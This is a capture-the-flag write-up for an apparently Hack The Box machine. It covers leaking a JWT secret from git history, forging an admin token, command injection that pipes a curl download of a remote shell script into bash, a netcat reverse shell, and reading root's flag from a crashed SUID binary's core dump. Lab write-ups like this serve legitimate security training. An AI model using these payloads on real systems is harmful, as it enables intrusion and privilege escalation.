### Enumeration ```text # Nmap 7.80 scan initiated Sat Dec 4 15:52:39 2021 as: nmap -A -oN nmap-scan 10.129.220.51 Nmap scan report for 10.129.220.51 Host is up (0.16s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: DUMB Docs 3000/tcp open http Node.js (Express middleware) |_http-title: DUMB Docs 8701/tcp filtered unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Dec 4 15:53:33 2021 -- 1 IP address (1 host up) scanned in 54.92 seconds ``` So found 3 open ports , 22(SSH), 80(HTTP) , 3000(HTTP) with Node.js , Opening port 80 it had a landing page which was titled Dump Docs , and both were also there on port 3000 with a file named files.zip attached which contains the source code of how the api works ![](https://i.imgur.com/Nqa63iP.png) ### Gaining Initial Shell Downloaded the files.zip and extracted it getting a folder named `local-web`, where inside it we have `validation.js` and I also noticed the `.git` folder then I realized it's a git repo , so now I decide to type in git show ![](https://imgur.com/2wYArYB.png) And I got this line of code which does validation with if the username is 'theadmin' then I have admin privs , meaning I can access `/logs` and `/privs` , So I now decide to write a script which will register a user to the api on port 3000 : ```python= #!/usr/bin/python3 # author : tahaafarooq import requests import json def convert_data(data): data = json.dumps(data) return data # setting creds to register register_data = {"name": "tahafarooq", "email": "tahaa@likes.you", "password": "tahaaaaa"} register_data = convert_data(register_data) # the target url (register and login) register_url = "http://secret.htb:3000/api/user/register" login_url = "http://secret.htb:3000/api/user/login" privs_url = "http://secret.htb:3000/api/priv" # setting header for the content header = {"Content-Type": "application/json"} # register account res = requests.post(register_url, data=register_data, headers=header) print(res.text) ``` ```text ➜ secret python3 sample.py Name already Exist ``` So now then since it's already registered I decided to add another function on my script which will allow me to login with the registered creds: ```python= #!/usr/bin/python3 # author : tahaafarooq import requests import json def convert_data(data): data = json.dumps(data) return data # setting creds to register register_data = {"name": "tahafarooq", "email": "tahaa@likes.you", "password": "tahaaaaa"} register_data = convert_data(register_data) # the target url (register and login) register_url = "http://secret.htb:3000/api/user/register" login_url = "http://secret.htb:3000/api/user/login" privs_url = "http://secret.htb:3000/api/priv" # setting header for the content header = {"Content-Type": "application/json"} # login function def login(): login_data = {"email": "tahaa@likes.you", "password": "tahaaaaa"} login_data = convert_data(login_data) res = requests.post(login_url, data=login_data, headers=header) token = res.text header.update({"auth-token": token}) print("[+] Authentication Token is : " , token) # checking user privs print("\n[+] Checking User Privs") res = requests.get(privs_url, headers=header) priv = res.text print("[+] ", priv) # register account res = requests.post(register_url, data=register_data, headers=header) print(res.text) # login if user is created or if user exists if res.text == '{"user": "tahaafarooq"}' or res.text == "Email already Exist" or "Name Already Exist" in res.text: print("[+] Logging You In") login() else: print("[!] Exiting") sys.exit(0) ``` So the `login()` function will log us in , using our creds , and then it will check what privileges we have and it will dump us a jwt token, YES! a JWT Token , now that I realized we have JWT Tokens related with this whole thing , I now decide to dump the `.git` folder using Dumper from GitTools , and after dumping whole those dumps, I decided to take a look at each **.env** file inside those dumps and at last I was able to get the jwt secret key used: ```text ➜ local-web-dump cat 1-de0a46b5107a2f4d26e348303e76d85ae4870934/.env DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web' TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE ``` Now since I have the key , I try checking the contents of the jwt token like what's inside it? and all that like the parameter and all that.. ![](https://imgur.com/TYWesDx.png) So now it rings on my mind , that the name with the highest privilege is `theadmin` so since i have the key all I can do now is to just change the name with this command: ![](https://imgur.com/8cK5yGk.png) ``` python3 jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' <token here> ``` and that should give us our generated signed new token for the admin: ``` ➜ secret curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdlMjgxZWU2N2QzZTA4NTMzOGEzZjYiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im9vcHNpZUBvb3BzLmNvbSIsImlhdCI6MTYzNTY1Nzg1N30.atZrtL6UzhLQNDANrsNWeiv9wt4dzdYeOLaiGeNahcw' {"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}} ``` I now decided to get back to the source codes and found a file named `private.js` which is really interesting: ```javascript= router.get('/logs', verifytoken, (req, res) => { const file = req.query.file; const userinfo = { name: req.user } const name = userinfo.name.name; if (name == 'theadmin'){ const getLogs = `git log --oneline ${file}`; exec(getLogs, (err , output) =>{ if(err){ res.status(500).send(err); return } res.json(output); }) } ``` `const getLogs = git log --oneline ${file}` this can allow us to perform command injection , by adding `;<command to execute>` at the `?file=` , so I rewrote my exploit which will now have a function named `forge()` which will allow me to perform execute my revshell that I hosted from my localhost using `http.server` module and then will allow me to get reverse shell: ```python= #!/usr/bin/python3 #author : tahaafarooq import requests import json import sys # function to make clear json query def convert_data(data): data = json.dumps(data) return data # setting creds register_data = {"name": "tahafarooq", "email": "tahaa@likes.you", "password": "tahaaaa"} register_data = convert_data(register_data) # declaring the target to register account and login account register_url = "http://secret.htb:3000/api/user/register" login_url = "http://secret.htb:3000/api/user/login" privs_url = "http://secret.htb:3000/api/priv" logs_url = "http://secret.htb:3000/api/logs?file=;curl+http://<yourip>:<yourport>/shell.sh+|+bash" # setting header for the content header = {"Content-Type": "application/json"} # function to login def login(): login_data = {"email": "tahaa@likes.you", "password": "tahaaaaa"} login_data = convert_data(login_data) res = requests.post(login_url, data=login_data, headers=header) token = res.text header.update({"auth-token": token}) print("[+] Authentication Token is : " , token) # checking user privs print("\n[+] Checking User Privs") res = requests.get(privs_url, headers=header) priv = res.text print("[+] ", priv) # function to forge def forge(): new_token = input("[*] Enter Token : ") print("Auth-Token:",new_token) header.update({"auth-token": new_token}) res = requests.get(privs_url, headers=header) print("[!]",res.text) print("[+] Now attempting to read logs") res = requests.get(logs_url, headers=header) print(res.text) sys.exit(0) # ask choice choice = input("[*] continue or forge : ") if choice == "continue": pass elif choice == "forge": forge() else: print("I didn't quiet get that") sys.exit(0) res = requests.post(register_url, data=register_data, headers=header) print(res.text) # login if user is created or if user exists if res.text == '{"user": "tahaafarooq"}' or res.text == "Email already Exist": print("[+] Logging You In") login() else: print("[!] Exiting") ``` Ran the exploit and boom!!! ```text ➜ secret nc -lvnp 1234 Listening on 0.0.0.0 1234 Connection received on 10.129.220.51 50764 bash: cannot set terminal process group (1143): Inappropriate ioctl for device bash: no job control in this shell dasith@secret:~/local-web$ ``` ### Privilege Escalation So first thing I do now is to check for files with SUID perms for root: ```text dasith@secret:~$ find / -type f -perm -u=s 2>/dev/null find / -type f -perm -u=s 2>/dev/null /usr/bin/pkexec /usr/bin/sudo /usr/bin/fusermount /usr/bin/umount /usr/bin/mount /usr/bin/gpasswd /usr/bin/su /usr/bin/passwd /usr/bin/chfn /usr/bin/newgrp /usr/bin/chsh /usr/lib/snapd/snap-confine /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /opt/count /snap/snapd/13640/usr/lib/snapd/snap-confine /snap/snapd/13170/usr/lib/snapd/snap-confine ``` Luckily I found one binary named `count` inside `/opt/count` which also had a source code in the same folder, the source code was written in C :abc: ```c= #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <dirent.h> #include <sys/prctl.h> #include <sys/types.h> #include <sys/stat.h> #include <linux/limits.h> void dircount(const char *path, char *summary) { DIR *dir; char fullpath[PATH_MAX]; struct dirent *ent; struct stat fstat; int tot = 0, regular_files = 0, directories = 0, symlinks = 0; if((dir = opendir(path)) == NULL) { printf("\nUnable to open directory.\n"); exit(EXIT_FAILURE); } while ((ent = readdir(dir)) != NULL) { ++tot; strncpy(fullpath, path, PATH_MAX-NAME_MAX-1); strcat(fullpath, "/"); strncat(fullpath, ent->d_name, strlen(ent->d_name)); if (!lstat(fullpath, &fstat)) { if(S_ISDIR(fstat.st_mode)) { printf("d"); ++directories; } else if(S_ISLNK(fstat.st_mode)) { printf("l"); ++symlinks; } else if(S_ISREG(fstat.st_mode)) { printf("-"); ++regular_files; } else printf("?"); printf((fstat.st_mode & S_IRUSR) ? "r" : "-"); printf((fstat.st_mode & S_IWUSR) ? "w" : "-"); printf((fstat.st_mode & S_IXUSR) ? "x" : "-"); printf((fstat.st_mode & S_IRGRP) ? "r" : "-"); printf((fstat.st_mode & S_IWGRP) ? "w" : "-"); printf((fstat.st_mode & S_IXGRP) ? "x" : "-"); printf((fstat.st_mode & S_IROTH) ? "r" : "-"); printf((fstat.st_mode & S_IWOTH) ? "w" : "-"); printf((fstat.st_mode & S_IXOTH) ? "x" : "-"); } else { printf("??????????"); } printf ("\t%s\n", ent->d_name); } closedir(dir); snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks); printf("\n%s", summary); } void filecount(const char *path, char *summary) { FILE *file; char ch; int characters, words, lines; file = fopen(path, "r"); if (file == NULL) { printf("\nUnable to open file.\n"); printf("Please check if file exists and you have read privilege.\n"); exit(EXIT_FAILURE); } characters = words = lines = 0; while ((ch = fgetc(file)) != EOF) { characters++; if (ch == '\n' || ch == '\0') lines++; if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0') words++; } if (characters > 0) { words++; lines++; } snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines); printf("\n%s", summary); } int main() { char path[100]; int res; struct stat path_s; char summary[4096]; printf("Enter source file/directory name: "); scanf("%99s", path); getchar(); stat(path, &path_s); if(S_ISDIR(path_s.st_mode)) dircount(path, summary); else filecount(path, summary); // drop privs to limit file write setuid(getuid()); // Enable coredump generation prctl(PR_SET_DUMPABLE, 1); printf("Save results a file? [y/N]: "); res = getchar(); if (res == 121 || res == 89) { printf("Path: "); scanf("%99s", path); FILE *fp = fopen(path, "a"); if (fp != NULL) { fputs(summary, fp); fclose(fp); } else { printf("Could not open %s for writing\n", path); } } return 0; } ``` I mean I understand what was in it , it's like we could write something or read something but not in higher privileged files or contents , so I now decided what if I try read a file `root.txt` and in between the process of the binary running I crush it purposely , now see when a program is crushed in between it's execution time, the crash log is saved to `/var/crash` , So theoretically and technically the flag should be inside the crash logs, and it'll produce the crashdump because it is set to produce the core dumps! So I made two shell instances , one shell instance will be used to run the `count` binary before we crash it with the other shell instance. I also noticed it's taking time to output the result of the binary running: ```text dasith@secret:/opt$ ./count -p ./count -p /root/root.txt Enter source file/directory name: Total characters = 33 Total words = 2 Total lines = 2 Save results a file? [y/N]: dasith@secret:/opt$ ``` So I guess as I run it I have to type `y` before I crush it so as the results are saved lol ON SECOND TERMINAL : ```text dasith@secret:~$ ps aux | grep -i count root 817 0.0 0.1 235664 7500 ? Ssl 12:50 0:00 /usr/lib/accountsservice/accounts-daemon dasith 2086 0.0 0.0 2488 520 ? S 15:14 0:00 ./count -p ``` I now crash that PID ```text dasith@secret:/opt$ ./count -p ./count -p/ root/root.txt y bash: [1639: 3 (255)] tcsetattr: Inappropriate ioctl for device ``` and there it is crashed ```text dasith@secret:/var/crash$ ls _opt_count.0.crash _opt_count.1000.crash _opt_countzz.0.crash ``` ```text dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/testing/ dasith@secret:/var/crash$ cd /tmp/testing dasith@secret:/tmp/testing$ ls Architecture Date ExecutablePath ProblemType ProcCwd ProcMaps Signal UserGroups CoreDump DistroRelease ExecutableTimestamp ProcCmdline ProcEnviron ProcStatus Uname ``` and now reading from the file `CoreDump` we see the flag using the command `strings CoreDump`: ```text Enter source file/directory name: Total characters = 33 Total words = 2 Total lines = 2 Save results a file? [y/N]: Path: oot/root.txt bacf346d93f90a22e4d4900f87207aa2 ``` ![](https://media4.giphy.com/media/13AN8X7jBIm15m/giphy.gif?cid=ecf05e470galrtv5r8413jwn6j33x4d28nhtenjzfmbj97wv&rid=giphy.gif&ct=g)